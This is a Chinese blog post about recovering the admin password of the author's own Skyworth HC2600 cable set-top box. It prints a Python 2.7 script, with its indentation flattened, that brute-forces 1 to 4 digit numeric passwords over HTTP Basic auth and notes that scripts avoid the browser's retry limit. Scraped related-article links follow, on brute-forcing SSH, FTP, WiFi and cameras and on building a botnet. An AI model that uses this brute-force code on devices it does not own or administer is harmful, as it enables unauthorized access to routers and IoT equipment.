家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能。

免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 2.4 GHz 频段下 802.11n 150 Mbps 速率的传输。2.4 GHz 频段本来就很拥挤,用户体验并不好,要是和支持 802.11 ac 的双频无线路由器混用的话,恐怕反而会因为干扰起到反作用。

然而要对 HC2600 机顶盒作任何配置修改,都需要管理员密码。网上搜索到 HC2600 的管理员用户名貌似是 admin (后来证实也的确如此),但是密码则无法确定。

所以我就编写了一个 Python 脚本进行暴力尝试。破解步骤如下:

首先把电脑通过网线连接到机顶盒的 Ethernet 接口,电脑会通过 DHCP 自动获取得到 IP 地址。

然后安装最新版的 Python 2.7,并且新建一个文件 tvbox.py 输入以下内容:

import base64, socket, urllib2

def login(url, username, password):
while True:
try:
request1 = urllib2.Request(url)
response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds
except socket.timeout, e: # timeout handler for Python 2.7
print "Login timedout"
continue
except urllib2.URLError, e:
if e.code != 401:
raise
else:
break while True:
try:
request2 = urllib2.Request(url)
base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
request2.add_header("Authorization", "Basic %s" % base64string)
response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds
return True
except socket.timeout, e: # timeout handler for Python 2.7
print "Login timedout"
continue
except urllib2.URLError, e:
if e.code == 401:
return False def main():
for length in range(1, 5):
end = 10 ** length print "Trying length %d (start = 0, end = %d)" % (length, end) for i in range(0, end):
pattern = "%%0%dd" % length
password = pattern % i if login("http://192.168.99.1", "admin", password):
print "Password found: %s" % password
break
else:
print "%s" % password main()

上面的文件中,假定机顶盒中路由器的地址是 192.168.99.1,如果你的配置不同,需要修改  tvbox.py 中第 41 行代码。

确定无误后,运行 tvbox.py 即可。

上面的脚本尝试了 0-9、00-99、000-999、0000-9999 这 11110 个纯数字密码,目测破解速度在每秒 100 次左右。

PS:如果使用浏览器尝试登录,密码错误三次后需要刷新才能继续尝试。这是浏览器设定的限制,使用脚本的话并没有这样的限制。

……

结果出乎意料,很快密码就出来了:0000,多亏了安装人员图省事。要是真的要扫遍 8 位纯数字密码的所有可能性,恐怕要花十几天。

小提示:上面的脚本只适用于 Python 2.7,如果你用的是其它版本,可能需要对代码做少许修改。

[小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码的更多相关文章

  1. Python脚本暴力破解FTP口令(ftplib)

    目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...

  2. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  3. XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解

    XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...

  4. 安天透过北美DDoS事件解读IoT设备安全——Mirai的主要感染对象是linux物联网设备,包括:路由器、网络摄像头、DVR设备,入侵主要通过telnet端口进行流行密码档暴力破解,或默认密码登陆,下载DDoS功能的bot,运行控制物联网设备

    安天透过北美DDoS事件解读IoT设备安全 安天安全研究与应急处理中心(安天CERT)在北京时间10月22日下午启动高等级分析流程,针对美国东海岸DNS服务商Dyn遭遇DDoS攻击事件进行了跟进分析. ...

  5. Python脚本自动化破解大白鲨摄像头(Shodan)

    关于本文的技术知识点,Shodan模块的用法,传送门-->  Python中shadon模块的使用    Shodan的使用 今天我们要利用python进行自动化破解的摄像头叫大白鲨摄像头,他的 ...

  6. Python最新暴力破解WiFi,攻破所有密码限制,最强破解!

    暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...

  7. 如何假装黑客,使用python去批量破解朋友的网站密码

    前言 文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取http ...

  8. Linux系列:Ubuntu/fedora实用小技巧—禁止自动锁屏、设置免密码自动登录、免密码执行sudo操作

    首先声明:该文虽以Ubuntu 13.04为例,同样适用于Fedora 17(已测试),但在较低版本的Ubuntu下可能有所差异,具体看后面的注意事项. 技巧目录: 解决Ubuntu下每隔几分钟自动锁 ...

  9. python 编写暴力破解mysql用户名密码

    本文摘自别人的,自己运行调试了一下#!/user/bin/env python#-*- coding:utf-8 -*- import pymysql#导入连接数据库的模块import sys cla ...

随机推荐

  1. ADB错误“more than one device and emulator”(转)

    当我连着手机充电的时候,启动模拟器调试,执行ADB指令时,报错.C:\Users\gaojs>adb shellerror: more than one device and emulatorC ...

  2. Lesson 5: Typography in Product Design

    Lesson 5: Typography in Product Design Article 1: Interactive Guide to Blog Typography 布局(Layout) 用空 ...

  3. 基于AFNetworking3.0的网络封装

    1.创建名为HTTPMethod(自己随便起名字)的头文件 2.导入AFNetworking头文件(在github上下载最新版): #import "AFNetworking.h" ...

  4. 如何安装Git到MAC OS X

    这里介绍两种方式:一,使用Git command-line二,使用GUI工具SourceTree,功能很强大,很方便 在进行安装前,要说一下,Git和SVN一样,都需要创建一个服务器的,他们都可以创建 ...

  5. JavaScript 客户端JavaScript之脚本化HTTP(通过XMLHttpRequest)

    XMLHttpRequest对象的设计目的是为了处理由普通文本或XML组成的响应:但是,一个响应也可能是另外一种类型,如果用户代理(UA)支持这种内容类型的话.   大多数浏览的客户端JavaScri ...

  6. 配置CAS错误No Certificate file specified or invalid file format

    配置tomcat证书 keystore文件后启动一直报错:(tomcat版本:apache-tomcat-6.0.43) tomcat配置: <Connector port="8443 ...

  7. @NotNull丶@NotBlank丶@NotEmpty

    1.@NotNull:不能为 Null,但是可以为Empty:用在基本数据类型上. @NotNull(message="{state.notnull.valid}", groups ...

  8. 使用 phpMyAdmin无法登录mysql的问题

    今天使用使用phpmyadmin时出现了以下错误: (1)第一次时: 当配置文件config.inc.php里的配置项是: $cfg['Servers'][$i]['host'] = 'localho ...

  9. Python自动化运维之4、格式化输出、文件对象

    Python格式化输出: Python的字符串格式化有两种方式: 百分号方式.format方式 百分号的方式相对来说比较老,而format方式则是比较先进的方式,企图替换古老的方式,目前两者并存.[P ...

  10. toast组件较为完美版本

    <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" ...